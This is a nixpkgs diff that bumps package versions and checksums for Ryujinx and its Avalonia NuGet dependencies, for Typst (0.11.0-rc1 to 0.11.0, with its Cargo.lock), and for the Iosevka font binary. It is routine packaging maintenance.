··· 2 # Please dont edit it manually, your changes might get overwritten! 3 4 { fetchNuGet }: [ 5 - (fetchNuGet { pname = "Avalonia"; version = "11.0.7"; sha256 = "1rh7c4ia0n7v8kd5kspj15sh49hc5gy3fcnm7nb2xsarv9gvmwcg"; }) 6 (fetchNuGet { pname = "Avalonia.Angle.Windows.Natives"; version = "2.1.0.2023020321"; sha256 = "1az4s1g22ipak9a3xfh55z2h3rm6lpqh7svbpw6ag4ysrgsjjsjd"; }) 7 (fetchNuGet { pname = "Avalonia.BuildServices"; version = "0.0.29"; sha256 = "05mm7f0jssih3gbzqfgjnfq5cnqa85ihsg0z1897ciihv8qd3waq"; }) 8 (fetchNuGet { pname = "Avalonia.Controls.ColorPicker"; version = "11.0.4"; sha256 = "1sqdcaknqazq4mw2x1jb6pfmfnyhpkd4xh6fl4ld85qikzzj7796"; }) 9 - (fetchNuGet { pname = "Avalonia.Controls.ColorPicker"; version = "11.0.7"; sha256 = "1386lhzkc5mal70imw3vxfkbz7z94njylg662ymr2m3hhwz34w3l"; }) 10 - (fetchNuGet { pname = "Avalonia.Controls.DataGrid"; version = "11.0.7"; sha256 = "080w1k4mia6kkl9lw5hl03n75xrkd2rlh5901jrpk11jyy36w00s"; }) 11 (fetchNuGet { pname = "Avalonia.Controls.ItemsRepeater"; version = "11.0.4"; sha256 = "1p7mz33a6dn6ghvwajxdghq15mn5f6isvvqzxcjbnhh3m5c1zhrz"; }) 12 - (fetchNuGet { pname = "Avalonia.Desktop"; version = "11.0.7"; sha256 = "0z5jypzqxh83r1pzvl1k7x1wxhnr3f0knp4wr0fkcgj97k2bnjy1"; }) 13 - (fetchNuGet { pname = "Avalonia.Diagnostics"; version = "11.0.7"; sha256 = "1n9bdmbc9m0r7x7iqkin4b8c6pdf19lbsvl258ncymhln6j8y0xw"; }) 14 - (fetchNuGet { pname = "Avalonia.FreeDesktop"; version = "11.0.7"; sha256 = "0xd3gmgh2rd1krd1q7yh3vrqggxap23fgfph2vfkfg3cxgyyfcml"; }) 15 - (fetchNuGet { pname = "Avalonia.Markup.Xaml.Loader"; version = "11.0.7"; sha256 = "1k5zfwhjkqbk2jb2h5gbvf85q3shz411hgf5xa80yi5wxw1d2nr6"; }) 16 - (fetchNuGet { pname = "Avalonia.Native"; version = "11.0.7"; sha256 = "164zyd1aaa42xryci82km2fznzmjag9s1f3i8yjyg2ip5agkh289"; }) 17 (fetchNuGet { pname = "Avalonia.Remote.Protocol"; version = "11.0.4"; sha256 = "096436hhg45v02pp4f43mf00xn6blx7x66sb8fq5j4jn7479fynp"; }) 18 - (fetchNuGet { pname = "Avalonia.Remote.Protocol"; version = "11.0.7"; sha256 = "0a5a1wz9ka1r7ch0c2b5nvnsgm49kdhlj16rvrvhdz30qf9m671n"; }) 19 (fetchNuGet { pname = "Avalonia.Skia"; version = "11.0.0"; sha256 = "1ra1kd0kkblppr5zy7rzdbwllggrzvp9lkxblf9mg3y8rnp6fk83"; }) 20 (fetchNuGet { pname = "Avalonia.Skia"; version = "11.0.4"; sha256 = "1ysmq4f8bxabpq3nhcrrvgwvxb9z7gx9565bvdyksdhsq16wyxym"; }) 21 - (fetchNuGet { pname = "Avalonia.Skia"; version = "11.0.7"; sha256 = "1v3g13a447k5dmd0n26aibjwxawx3vqn8g2jmwpw533rx1f509h5"; }) 22 - (fetchNuGet { pname = "Avalonia.Svg"; version = "11.0.0.13"; sha256 = "1cf2y8bhb5xcpkrzbkfw1lr8iwz99p0lv34sh51xd9inx0rnvm4g"; }) 23 - (fetchNuGet { pname = "Avalonia.Svg.Skia"; version = "11.0.0.13"; sha256 = "0hbc1m5lv8l9fflz8z46f9pwrrd4hisn8qp38944388r9ay0v4ip"; }) 24 - (fetchNuGet { pname = "Avalonia.Themes.Simple"; version = "11.0.7"; sha256 = "0ggrsir3zskg22as65f3i93f4dmhqm5lqq0irb1rqi8dfficsmzx"; }) 25 - (fetchNuGet { pname = "Avalonia.Win32"; version = "11.0.7"; sha256 = "0zbh1cd8zykc5rrannz6i9pyiiygm041db3nrpzyi43xsknnhl7r"; }) 26 - (fetchNuGet { pname = "Avalonia.X11"; version = "11.0.7"; sha256 = "03skfjxw2xpynl8j2gjpb4v1v642qw1qnx9lcq9whgmlj03yz9nc"; }) 27 (fetchNuGet { pname = "CommandLineParser"; version = "2.9.1"; sha256 = "1sldkj8lakggn4hnyabjj1fppqh50fkdrr1k99d4gswpbk5kv582"; }) 28 (fetchNuGet { pname = "Concentus"; version = "1.1.7"; sha256 = "0y5z444wrbhlmsqpy2sxmajl1fbf74843lvgj3y6vz260dn2q0l0"; }) 29 (fetchNuGet { pname = "DiscordRichPresence"; version = "1.2.1.24"; sha256 = "0maw0yd6xgwy0cgk593z3zva0r5j267zpdmmpq8avj3zbna6n4x1"; }) ··· 75 (fetchNuGet { pname = "Microsoft.TestPlatform.TestHost"; version = "17.9.0"; sha256 = "19ffh31a1jxzn8j69m1vnk5hyfz3dbxmflq77b8x82zybiilh5nl"; }) 76 (fetchNuGet { pname = "Microsoft.Win32.Primitives"; version = "4.0.1"; sha256 = "1n8ap0cmljbqskxpf8fjzn7kh1vvlndsa75k01qig26mbw97k2q7"; }) 77 (fetchNuGet { pname = "Microsoft.Win32.Registry"; version = "4.5.0"; sha256 = "1zapbz161ji8h82xiajgriq6zgzmb1f3ar517p2h63plhsq5gh2q"; }) 78 - (fetchNuGet { pname = "Microsoft.Win32.SystemEvents"; version = "8.0.0"; sha256 = "05392f41ijgn17y8pbjcx535l1k09krnq3xdp60kyq568sn6xk2i"; }) 79 (fetchNuGet { pname = "MsgPack.Cli"; version = "1.0.1"; sha256 = "1dk2bs3g16lsxcjjm7gfx6jxa4667wccw94jlh2ql7y7smvh9z8r"; }) 80 (fetchNuGet { pname = "NetCoreServer"; version = "8.0.7"; sha256 = "171mn5b56ikkjvsx3hvgmh3lga9c2ja31as0hnfr3040rdrj4ij5"; }) 81 (fetchNuGet { pname = "NETStandard.Library"; version = "1.6.0"; sha256 = "0nmmv4yw7gw04ik8ialj3ak0j6pxa9spih67hnn1h2c38ba8h58k"; }) ··· 146 (fetchNuGet { pname = "securifybv.ShellLink"; version = "0.1.0"; sha256 = "1v52d01590m8y06bybis6hlg296wk3y7ilqyh01ram62v5wrjvq2"; }) 147 (fetchNuGet { pname = "shaderc.net"; version = "0.1.0"; sha256 = "0f35s9h0vj9f1rx9bssj66hibc3j9bzrb4wgb5q2jwkf5xncxbpq"; }) 148 (fetchNuGet { pname = "SharpZipLib"; version = "1.4.2"; sha256 = "0ijrzz2szxjmv2cipk7rpmg14dfaigdkg7xabjvb38ih56m9a27y"; }) 149 - (fetchNuGet { pname = "ShimSkiaSharp"; version = "1.0.0.13"; sha256 = "1bkpx7zk5vh2rymam165kkqky2768nasgzqcil8kxzryqd853af4"; }) 150 (fetchNuGet { pname = "Silk.NET.Core"; version = "2.16.0"; sha256 = "1mkqc2aicvknmpyfry2v7jjxh3apaxa6dmk1vfbwxnkysl417x0k"; }) 151 (fetchNuGet { pname = "Silk.NET.Vulkan"; version = "2.16.0"; sha256 = "0sg5mxv7ga5pq6wc0lz52j07fxrcfmb0an30r4cxsxk66298z2wy"; }) 152 (fetchNuGet { pname = "Silk.NET.Vulkan.Extensions.EXT"; version = "2.16.0"; sha256 = "05918f6fl8byla2m7qjp7dvxww2rbpj2sqd4xq26rl885fmddfvf"; }) ··· 169 (fetchNuGet { pname = "SkiaSharp.NativeAssets.Win32"; version = "2.88.6"; sha256 = "1w2mwcwkqvrg4x4ybc4674xnkqwh1n2ihg520gqgpnqfc11ghc4n"; }) 170 (fetchNuGet { pname = "SkiaSharp.NativeAssets.Win32"; version = "2.88.7"; sha256 = "119mlbh5hmlis7vb111s95dwg5p1anm2hmv7cm6fz7gy18473d7v"; }) 171 (fetchNuGet { pname = "SPB"; version = "0.0.4-build32"; sha256 = "0fk803f4llcc7g111g7wdn6fwqjrlyr64p97lv9xannbk9bxnk0r"; }) 172 - (fetchNuGet { pname = "Svg.Custom"; version = "1.0.0.13"; sha256 = "040w8xqjfyda8742387y0jq1bgs3m57id7qdgiwchv4860v7s97s"; }) 173 - (fetchNuGet { pname = "Svg.Model"; version = "1.0.0.13"; sha256 = "06ppak6gxyiq716zjf919zanl7kb2jwg5d8rhxf9f6fnyd5mjaiv"; }) 174 - (fetchNuGet { pname = "Svg.Skia"; version = "1.0.0.13"; sha256 = "0kr2hlrds1w38pilbq17jnc8xy37b7zis2m1sg6vqrsqp9blhlb7"; }) 175 (fetchNuGet { pname = "System.AppContext"; version = "4.1.0"; sha256 = "0fv3cma1jp4vgj7a8hqc9n7hr1f1kjp541s6z0q1r6nazb4iz9mz"; }) 176 (fetchNuGet { pname = "System.Buffers"; version = "4.0.0"; sha256 = "13s659bcmg9nwb6z78971z1lr6bmh2wghxi1ayqyzl4jijd351gr"; }) 177 (fetchNuGet { pname = "System.Buffers"; version = "4.3.0"; sha256 = "0fgns20ispwrfqll4q1zc1waqcmylb3zc50ys9x8zlwxh9pmd9jy"; }) ··· 190 (fetchNuGet { pname = "System.Diagnostics.DiagnosticSource"; version = "4.0.0"; sha256 = "1n6c3fbz7v8d3pn77h4v5wvsfrfg7v1c57lg3nff3cjyh597v23m"; }) 191 (fetchNuGet { pname = "System.Diagnostics.Tools"; version = "4.0.1"; sha256 = "19cknvg07yhakcvpxg3cxa0bwadplin6kyxd8mpjjpwnp56nl85x"; }) 192 (fetchNuGet { pname = "System.Diagnostics.Tracing"; version = "4.1.0"; sha256 = "1d2r76v1x610x61ahfpigda89gd13qydz6vbwzhpqlyvq8jj6394"; }) 193 - (fetchNuGet { pname = "System.Drawing.Common"; version = "8.0.2"; sha256 = "03rlk7wrx7469psz6f1qb8n5kb3s04ykzs2pn9ycia1sgj7vhi1z"; }) 194 (fetchNuGet { pname = "System.Dynamic.Runtime"; version = "4.3.0"; sha256 = "1d951hrvrpndk7insiag80qxjbf2y0y39y8h5hnq9612ws661glk"; }) 195 (fetchNuGet { pname = "System.Globalization"; version = "4.0.11"; sha256 = "070c5jbas2v7smm660zaf1gh0489xanjqymkvafcs4f8cdrs1d5d"; }) 196 (fetchNuGet { pname = "System.Globalization"; version = "4.3.0"; sha256 = "1cp68vv683n6ic2zqh2s1fn4c2sd87g5hpp6l4d4nj4536jz98ki"; })
··· 2 # Please dont edit it manually, your changes might get overwritten! 3 4 { fetchNuGet }: [ 5 + (fetchNuGet { pname = "Avalonia"; version = "11.0.10"; sha256 = "0mvsc6fg8qbvdqkdkia61jkprb3yhvvgvq6s8hgd09v6lzjsbq8n"; }) 6 (fetchNuGet { pname = "Avalonia.Angle.Windows.Natives"; version = "2.1.0.2023020321"; sha256 = "1az4s1g22ipak9a3xfh55z2h3rm6lpqh7svbpw6ag4ysrgsjjsjd"; }) 7 (fetchNuGet { pname = "Avalonia.BuildServices"; version = "0.0.29"; sha256 = "05mm7f0jssih3gbzqfgjnfq5cnqa85ihsg0z1897ciihv8qd3waq"; }) 8 + (fetchNuGet { pname = "Avalonia.Controls.ColorPicker"; version = "11.0.10"; sha256 = "0s2wn7sf0dsa861gh6ghfgf881p6bvyahfpl583rcnsi6ci2hjhv"; }) 9 (fetchNuGet { pname = "Avalonia.Controls.ColorPicker"; version = "11.0.4"; sha256 = "1sqdcaknqazq4mw2x1jb6pfmfnyhpkd4xh6fl4ld85qikzzj7796"; }) 10 + (fetchNuGet { pname = "Avalonia.Controls.DataGrid"; version = "11.0.10"; sha256 = "13g5sac0ba8dy1pn21j2g4fin57x1vs1pl07gzgv53bl8nz1xznj"; }) 11 (fetchNuGet { pname = "Avalonia.Controls.ItemsRepeater"; version = "11.0.4"; sha256 = "1p7mz33a6dn6ghvwajxdghq15mn5f6isvvqzxcjbnhh3m5c1zhrz"; }) 12 + (fetchNuGet { pname = "Avalonia.Desktop"; version = "11.0.10"; sha256 = "0s27ajknbrymnchv66rybrs3snzh825iy0nqby72yk726znp52vw"; }) 13 + (fetchNuGet { pname = "Avalonia.Diagnostics"; version = "11.0.10"; sha256 = "1c7hv9ypvn1ncg6cmzn2cs0nkax0y0pnbx1h1asjzn8rnbwcvnca"; }) 14 + (fetchNuGet { pname = "Avalonia.FreeDesktop"; version = "11.0.10"; sha256 = "18f9vpsxfaak4qpqvcz9rdygx3k8dhzb64iqlhva88nhahwlwlxr"; }) 15 + (fetchNuGet { pname = "Avalonia.Markup.Xaml.Loader"; version = "11.0.10"; sha256 = "0vlvysxi2qdg3na604jivzs68ldry1i43lmxxa3lhh7q9pqqpzjy"; }) 16 + (fetchNuGet { pname = "Avalonia.Native"; version = "11.0.10"; sha256 = "06pihfddbvdw1s3rs6v183ljch1bsxym80fclfqrh3npa3ag9n1z"; }) 17 + (fetchNuGet { pname = "Avalonia.Remote.Protocol"; version = "11.0.10"; sha256 = "0p75z6k4ivzhdn9y9gwqsqmja7x03d4mxaicbccjbnz06irybnxa"; }) 18 (fetchNuGet { pname = "Avalonia.Remote.Protocol"; version = "11.0.4"; sha256 = "096436hhg45v02pp4f43mf00xn6blx7x66sb8fq5j4jn7479fynp"; }) 19 (fetchNuGet { pname = "Avalonia.Skia"; version = "11.0.0"; sha256 = "1ra1kd0kkblppr5zy7rzdbwllggrzvp9lkxblf9mg3y8rnp6fk83"; }) 20 + (fetchNuGet { pname = "Avalonia.Skia"; version = "11.0.10"; sha256 = "0w45j4ypqnwmsh3byzaghn43ycfkfnn8415i5lw2q5ip7vp3a9fm"; }) 21 (fetchNuGet { pname = "Avalonia.Skia"; version = "11.0.4"; sha256 = "1ysmq4f8bxabpq3nhcrrvgwvxb9z7gx9565bvdyksdhsq16wyxym"; }) 22 + (fetchNuGet { pname = "Avalonia.Svg"; version = "11.0.0.14"; sha256 = "0111svcswbw97k3igqi45dzz08f6vi20zr5gp23p8qmisk2bazqj"; }) 23 + (fetchNuGet { pname = "Avalonia.Svg.Skia"; version = "11.0.0.14"; sha256 = "0b95h42kflbjlfw0ky58cxd0745wf7ad9phfgdyn3w7x3bjfn0x3"; }) 24 + (fetchNuGet { pname = "Avalonia.Themes.Simple"; version = "11.0.10"; sha256 = "0vssdz6rng0k85qsv2xn6x0dldaalnnx718n7plwxg3j1pddr1z7"; }) 25 + (fetchNuGet { pname = "Avalonia.Win32"; version = "11.0.10"; sha256 = "1gh3fad9ya56qwzhk7590bdzkky76yx1jjj60rqr013b97qbd3gs"; }) 26 + (fetchNuGet { pname = "Avalonia.X11"; version = "11.0.10"; sha256 = "1x09mp8q3mrj5fijqk7qp5qivrysqnbc2bkj2ssvawb9rjy6497w"; }) 27 (fetchNuGet { pname = "CommandLineParser"; version = "2.9.1"; sha256 = "1sldkj8lakggn4hnyabjj1fppqh50fkdrr1k99d4gswpbk5kv582"; }) 28 (fetchNuGet { pname = "Concentus"; version = "1.1.7"; sha256 = "0y5z444wrbhlmsqpy2sxmajl1fbf74843lvgj3y6vz260dn2q0l0"; }) 29 (fetchNuGet { pname = "DiscordRichPresence"; version = "1.2.1.24"; sha256 = "0maw0yd6xgwy0cgk593z3zva0r5j267zpdmmpq8avj3zbna6n4x1"; }) ··· 75 (fetchNuGet { pname = "Microsoft.TestPlatform.TestHost"; version = "17.9.0"; sha256 = "19ffh31a1jxzn8j69m1vnk5hyfz3dbxmflq77b8x82zybiilh5nl"; }) 76 (fetchNuGet { pname = "Microsoft.Win32.Primitives"; version = "4.0.1"; sha256 = "1n8ap0cmljbqskxpf8fjzn7kh1vvlndsa75k01qig26mbw97k2q7"; }) 77 (fetchNuGet { pname = "Microsoft.Win32.Registry"; version = "4.5.0"; sha256 = "1zapbz161ji8h82xiajgriq6zgzmb1f3ar517p2h63plhsq5gh2q"; }) 78 (fetchNuGet { pname = "MsgPack.Cli"; version = "1.0.1"; sha256 = "1dk2bs3g16lsxcjjm7gfx6jxa4667wccw94jlh2ql7y7smvh9z8r"; }) 79 (fetchNuGet { pname = "NetCoreServer"; version = "8.0.7"; sha256 = "171mn5b56ikkjvsx3hvgmh3lga9c2ja31as0hnfr3040rdrj4ij5"; }) 80 (fetchNuGet { pname = "NETStandard.Library"; version = "1.6.0"; sha256 = "0nmmv4yw7gw04ik8ialj3ak0j6pxa9spih67hnn1h2c38ba8h58k"; }) ··· 145 (fetchNuGet { pname = "securifybv.ShellLink"; version = "0.1.0"; sha256 = "1v52d01590m8y06bybis6hlg296wk3y7ilqyh01ram62v5wrjvq2"; }) 146 (fetchNuGet { pname = "shaderc.net"; version = "0.1.0"; sha256 = "0f35s9h0vj9f1rx9bssj66hibc3j9bzrb4wgb5q2jwkf5xncxbpq"; }) 147 (fetchNuGet { pname = "SharpZipLib"; version = "1.4.2"; sha256 = "0ijrzz2szxjmv2cipk7rpmg14dfaigdkg7xabjvb38ih56m9a27y"; }) 148 + (fetchNuGet { pname = "ShimSkiaSharp"; version = "1.0.0.14"; sha256 = "0gdzvkrg63a4nqh4z2dxqiwmw07if08vdffmmgbck6j4nblx11qh"; }) 149 (fetchNuGet { pname = "Silk.NET.Core"; version = "2.16.0"; sha256 = "1mkqc2aicvknmpyfry2v7jjxh3apaxa6dmk1vfbwxnkysl417x0k"; }) 150 (fetchNuGet { pname = "Silk.NET.Vulkan"; version = "2.16.0"; sha256 = "0sg5mxv7ga5pq6wc0lz52j07fxrcfmb0an30r4cxsxk66298z2wy"; }) 151 (fetchNuGet { pname = "Silk.NET.Vulkan.Extensions.EXT"; version = "2.16.0"; sha256 = "05918f6fl8byla2m7qjp7dvxww2rbpj2sqd4xq26rl885fmddfvf"; }) ··· 168 (fetchNuGet { pname = "SkiaSharp.NativeAssets.Win32"; version = "2.88.6"; sha256 = "1w2mwcwkqvrg4x4ybc4674xnkqwh1n2ihg520gqgpnqfc11ghc4n"; }) 169 (fetchNuGet { pname = "SkiaSharp.NativeAssets.Win32"; version = "2.88.7"; sha256 = "119mlbh5hmlis7vb111s95dwg5p1anm2hmv7cm6fz7gy18473d7v"; }) 170 (fetchNuGet { pname = "SPB"; version = "0.0.4-build32"; sha256 = "0fk803f4llcc7g111g7wdn6fwqjrlyr64p97lv9xannbk9bxnk0r"; }) 171 + (fetchNuGet { pname = "Svg.Custom"; version = "1.0.0.14"; sha256 = "1x4cc9npxfl22wgy34pxglp7aja7h6q4vkc5ms0xknr2j9b7x5j6"; }) 172 + (fetchNuGet { pname = "Svg.Model"; version = "1.0.0.14"; sha256 = "03g343r1adaclnybj35p33bskwkn2scr9gka1l3cf13d3rz1hxal"; }) 173 + (fetchNuGet { pname = "Svg.Skia"; version = "1.0.0.14"; sha256 = "18rnn88gfkry72vzknwa89vfkclsn06hz4wqx3iy1x81pf1az4qq"; }) 174 (fetchNuGet { pname = "System.AppContext"; version = "4.1.0"; sha256 = "0fv3cma1jp4vgj7a8hqc9n7hr1f1kjp541s6z0q1r6nazb4iz9mz"; }) 175 (fetchNuGet { pname = "System.Buffers"; version = "4.0.0"; sha256 = "13s659bcmg9nwb6z78971z1lr6bmh2wghxi1ayqyzl4jijd351gr"; }) 176 (fetchNuGet { pname = "System.Buffers"; version = "4.3.0"; sha256 = "0fgns20ispwrfqll4q1zc1waqcmylb3zc50ys9x8zlwxh9pmd9jy"; }) ··· 189 (fetchNuGet { pname = "System.Diagnostics.DiagnosticSource"; version = "4.0.0"; sha256 = "1n6c3fbz7v8d3pn77h4v5wvsfrfg7v1c57lg3nff3cjyh597v23m"; }) 190 (fetchNuGet { pname = "System.Diagnostics.Tools"; version = "4.0.1"; sha256 = "19cknvg07yhakcvpxg3cxa0bwadplin6kyxd8mpjjpwnp56nl85x"; }) 191 (fetchNuGet { pname = "System.Diagnostics.Tracing"; version = "4.1.0"; sha256 = "1d2r76v1x610x61ahfpigda89gd13qydz6vbwzhpqlyvq8jj6394"; }) 192 (fetchNuGet { pname = "System.Dynamic.Runtime"; version = "4.3.0"; sha256 = "1d951hrvrpndk7insiag80qxjbf2y0y39y8h5hnq9612ws661glk"; }) 193 (fetchNuGet { pname = "System.Globalization"; version = "4.0.11"; sha256 = "070c5jbas2v7smm660zaf1gh0489xanjqymkvafcs4f8cdrs1d5d"; }) 194 (fetchNuGet { pname = "System.Globalization"; version = "4.3.0"; sha256 = "1cp68vv683n6ic2zqh2s1fn4c2sd87g5hpp6l4d4nj4536jz98ki"; })
+3 -3
pkgs/by-name/ry/ryujinx/package.nix
··· 25 26 buildDotnetModule rec { 27 pname = "ryujinx"; 28 - version = "1.1.1223"; # Based off of the official github actions builds: https://github.com/Ryujinx/Ryujinx/actions/workflows/release.yml 29 30 src = fetchFromGitHub { 31 owner = "Ryujinx"; 32 repo = "Ryujinx"; 33 - rev = "5a900f38c52269ee1282695e5e62a05269d0a478"; 34 - sha256 = "1s0w89f8vafr81hq1gs4sz6qlcqd11vy5580mrfngkry8g3bmgjs"; 35 }; 36 37 dotnet-sdk = dotnetCorePackages.sdk_8_0;
··· 25 26 buildDotnetModule rec { 27 pname = "ryujinx"; 28 + version = "1.1.1231"; # Based off of the official github actions builds: https://github.com/Ryujinx/Ryujinx/actions/workflows/release.yml 29 30 src = fetchFromGitHub { 31 owner = "Ryujinx"; 32 repo = "Ryujinx"; 33 + rev = "1217a8e69b9b4feadb34c2d38209d765c9542819"; 34 + sha256 = "1gr4cg7mbnvql7xxf9zwc0mi2a7575h28c4gfydpcdrvx0vaqknb"; 35 }; 36 37 dotnet-sdk = dotnetCorePackages.sdk_8_0;
+16 -39
pkgs/by-name/ty/typst/Cargo.lock
··· 502 ] 503 504 [[package]] 505 - name = "ctrlc" 506 - version = "3.4.2" 507 - source = "registry+https://github.com/rust-lang/crates.io-index" 508 - checksum = "b467862cc8610ca6fc9a1532d7777cee0804e678ab45410897b9396495994a0b" 509 - dependencies = [ 510 - "nix", 511 - "windows-sys 0.52.0", 512 - ] 513 - 514 - [[package]] 515 name = "data-url" 516 version = "0.3.1" 517 source = "registry+https://github.com/rust-lang/crates.io-index" ··· 1404 "security-framework", 1405 "security-framework-sys", 1406 "tempfile", 1407 - ] 1408 - 1409 - [[package]] 1410 - name = "nix" 1411 - version = "0.27.1" 1412 - source = "registry+https://github.com/rust-lang/crates.io-index" 1413 - checksum = "2eb04e9c688eff1c89d72b407f168cf79bb9e867a9d3323ed6c01519eb9cc053" 1414 - dependencies = [ 1415 - "bitflags 2.4.2", 1416 - "cfg-if", 1417 - "libc", 1418 ] 1419 1420 [[package]] ··· 2531 2532 [[package]] 2533 name = "typst" 2534 - version = "0.11.0-rc1" 2535 dependencies = [ 2536 "az", 2537 "bitflags 2.4.2", ··· 2592 2593 [[package]] 2594 name = "typst-assets" 2595 - version = "0.11.0-rc1" 2596 source = "registry+https://github.com/rust-lang/crates.io-index" 2597 - checksum = "e43b98ec1d7969c329e3735e597bbe5e69076445a570f9634b30c8dc01c704ae" 2598 2599 [[package]] 2600 name = "typst-cli" 2601 - version = "0.11.0-rc1" 2602 dependencies = [ 2603 "chrono", 2604 "clap", ··· 2606 "clap_mangen", 2607 "codespan-reporting", 2608 "comemo", 2609 - "ctrlc", 2610 "dirs", 2611 "ecow", 2612 "env_proxy", ··· 2627 "serde", 2628 "serde_json", 2629 "serde_yaml 0.9.32", 2630 - "siphasher 1.0.0", 2631 "tar", 2632 "tempfile", 2633 "toml", ··· 2645 2646 [[package]] 2647 name = "typst-dev-assets" 2648 - version = "0.10.0" 2649 - source = "git+https://github.com/typst/typst-dev-assets?rev=c63ab46#c63ab467b6d2242b7993b81c1156b915486bcf02" 2650 2651 [[package]] 2652 name = "typst-docs" 2653 - version = "0.11.0-rc1" 2654 dependencies = [ 2655 "clap", 2656 "comemo", ··· 2673 2674 [[package]] 2675 name = "typst-fuzz" 2676 - version = "0.11.0-rc1" 2677 dependencies = [ 2678 "comemo", 2679 "libfuzzer-sys", ··· 2685 2686 [[package]] 2687 name = "typst-ide" 2688 - version = "0.11.0-rc1" 2689 dependencies = [ 2690 "comemo", 2691 "ecow", ··· 2698 2699 [[package]] 2700 name = "typst-macros" 2701 - version = "0.11.0-rc1" 2702 dependencies = [ 2703 "heck", 2704 "proc-macro2", ··· 2708 2709 [[package]] 2710 name = "typst-pdf" 2711 - version = "0.11.0-rc1" 2712 dependencies = [ 2713 "base64 0.22.0", 2714 "bytemuck", ··· 2732 2733 [[package]] 2734 name = "typst-render" 2735 - version = "0.11.0-rc1" 2736 dependencies = [ 2737 "bytemuck", 2738 "comemo", ··· 2751 2752 [[package]] 2753 name = "typst-svg" 2754 - version = "0.11.0-rc1" 2755 dependencies = [ 2756 "base64 0.22.0", 2757 "comemo", ··· 2767 2768 [[package]] 2769 name = "typst-syntax" 2770 - version = "0.11.0-rc1" 2771 dependencies = [ 2772 "comemo", 2773 "ecow", ··· 2782 2783 [[package]] 2784 name = "typst-tests" 2785 - version = "0.11.0-rc1" 2786 dependencies = [ 2787 "clap", 2788 "comemo", ··· 2805 2806 [[package]] 2807 name = "typst-timing" 2808 - version = "0.11.0-rc1" 2809 dependencies = [ 2810 "parking_lot", 2811 "serde",
··· 502 ] 503 504 [[package]] 505 name = "data-url" 506 version = "0.3.1" 507 source = "registry+https://github.com/rust-lang/crates.io-index" ··· 1394 "security-framework", 1395 "security-framework-sys", 1396 "tempfile", 1397 ] 1398 1399 [[package]] ··· 2510 2511 [[package]] 2512 name = "typst" 2513 + version = "0.11.0" 2514 dependencies = [ 2515 "az", 2516 "bitflags 2.4.2", ··· 2571 2572 [[package]] 2573 name = "typst-assets" 2574 + version = "0.11.0" 2575 source = "registry+https://github.com/rust-lang/crates.io-index" 2576 + checksum = "f13f85360328da54847dd7fefaf272dfa5b6d1fdeb53f32938924c39bf5b2c6c" 2577 2578 [[package]] 2579 name = "typst-cli" 2580 + version = "0.11.0" 2581 dependencies = [ 2582 "chrono", 2583 "clap", ··· 2585 "clap_mangen", 2586 "codespan-reporting", 2587 "comemo", 2588 "dirs", 2589 "ecow", 2590 "env_proxy", ··· 2605 "serde", 2606 "serde_json", 2607 "serde_yaml 0.9.32", 2608 "tar", 2609 "tempfile", 2610 "toml", ··· 2622 2623 [[package]] 2624 name = "typst-dev-assets" 2625 + version = "0.11.0" 2626 + source = "git+https://github.com/typst/typst-dev-assets?tag=v0.11.0#e0ef7ad46f28a440c41bc8e78563ace86cc02678" 2627 2628 [[package]] 2629 name = "typst-docs" 2630 + version = "0.11.0" 2631 dependencies = [ 2632 "clap", 2633 "comemo", ··· 2650 2651 [[package]] 2652 name = "typst-fuzz" 2653 + version = "0.11.0" 2654 dependencies = [ 2655 "comemo", 2656 "libfuzzer-sys", ··· 2662 2663 [[package]] 2664 name = "typst-ide" 2665 + version = "0.11.0" 2666 dependencies = [ 2667 "comemo", 2668 "ecow", ··· 2675 2676 [[package]] 2677 name = "typst-macros" 2678 + version = "0.11.0" 2679 dependencies = [ 2680 "heck", 2681 "proc-macro2", ··· 2685 2686 [[package]] 2687 name = "typst-pdf" 2688 + version = "0.11.0" 2689 dependencies = [ 2690 "base64 0.22.0", 2691 "bytemuck", ··· 2709 2710 [[package]] 2711 name = "typst-render" 2712 + version = "0.11.0" 2713 dependencies = [ 2714 "bytemuck", 2715 "comemo", ··· 2728 2729 [[package]] 2730 name = "typst-svg" 2731 + version = "0.11.0" 2732 dependencies = [ 2733 "base64 0.22.0", 2734 "comemo", ··· 2744 2745 [[package]] 2746 name = "typst-syntax" 2747 + version = "0.11.0" 2748 dependencies = [ 2749 "comemo", 2750 "ecow", ··· 2759 2760 [[package]] 2761 name = "typst-tests" 2762 + version = "0.11.0" 2763 dependencies = [ 2764 "clap", 2765 "comemo", ··· 2782 2783 [[package]] 2784 name = "typst-timing" 2785 + version = "0.11.0" 2786 dependencies = [ 2787 "parking_lot", 2788 "serde",
+3 -3
pkgs/by-name/ty/typst/package.nix
··· 11 12 rustPlatform.buildRustPackage rec { 13 pname = "typst"; 14 - version = "0.11.0-rc1"; 15 16 src = fetchFromGitHub { 17 owner = "typst"; 18 repo = "typst"; 19 rev = "v${version}"; 20 - hash = "sha256-jOq+aoBSRUTXldg8iWGSJ1z0y+3KbhZfVAgjZo9IsGo="; 21 }; 22 23 cargoLock = { 24 lockFile = ./Cargo.lock; 25 outputHashes = { 26 - "typst-dev-assets-0.10.0" = "sha256-EBOZbblbavtsr2LEnoIF0UFmpSsm8Sq7ibxxWcAMIHY="; 27 }; 28 }; 29
··· 11 12 rustPlatform.buildRustPackage rec { 13 pname = "typst"; 14 + version = "0.11.0"; 15 16 src = fetchFromGitHub { 17 owner = "typst"; 18 repo = "typst"; 19 rev = "v${version}"; 20 + hash = "sha256-RbkirnVrhYT/OuZSdJWMOvQXAeBmsFICsCrezyT6ukA="; 21 }; 22 23 cargoLock = { 24 lockFile = ./Cargo.lock; 25 outputHashes = { 26 + "typst-dev-assets-0.11.0" = "sha256-wTmux3GsUIU+PX6SO9rrQHr3korPFBeP/Z8byC97KUI="; 27 }; 28 }; 29
+1 -1
pkgs/data/fonts/iosevka/bin.nix
··· 17 in 18 stdenv.mkDerivation rec { 19 pname = "${name}-bin"; 20 - version = "28.1.0"; 21 22 src = fetchurl { 23 url = "https://github.com/be5invis/Iosevka/releases/download/v${version}/PkgTTC-${name}-${version}.zip";
··· 17 in 18 stdenv.mkDerivation rec { 19 pname = "${name}-bin"; 20 + version = "29.0.1"; 21 22 src = fetchurl { 23 url = "https://github.com/be5invis/Iosevka/releases/download/v${version}/PkgTTC-${name}-${version}.zip";
+90 -90
pkgs/data/fonts/iosevka/variants.nix
